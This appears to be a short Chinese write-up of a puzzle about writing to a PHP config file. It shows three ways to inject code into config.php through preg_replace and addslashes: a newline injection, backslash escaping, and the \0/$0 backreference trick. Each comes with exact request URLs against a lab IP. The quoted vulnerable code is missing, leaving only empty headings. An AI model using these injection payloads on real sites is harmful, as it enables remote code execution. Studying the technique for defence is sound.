看到小密圈的一个关于配置文件写入的题目,做一下记录。
问题代码:
1.php的内容如下:
config.php的内容如下:
preg_replace — 执行一个正则表达式的搜索和替换
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索subject中匹配pattern的部分, 以replacement进行替换。
1)利用换行
首先请求:http://192.168.192.120/1.php?option=123%27;%0aphpinfo();//
然后查看下config.php的内容:
然后在请求:http://192.168.192.120/1.php?option=123
然后查看下config.php的内容:
2)利用转义
传入参数\’,经过addslashes处理后,会变为\\\’,随后preg_replace会将两个连续的\合并为一个,也就是将\\\’转为\\’,这样我们就成功引入了一个单引号,闭合了前面的单引号。
请求:http://192.168.192.120/1.php?option=123\%27;phpinfo();//
然后查看下config.php的内容:
3)利用\0和$0
首先请求:http://192.168.192.120/1.php?option=;phpinfo();
然后查看下config.php的内容:
preg_replace的replacement中可以包含捕获组,\0或者$0表示完整的匹配。
然后访问:http://192.168.192.120/1.php?option=$0
或者访问http://192.168.192.120/1.php?option=%00
%00在经过addslashes处理后会变成\0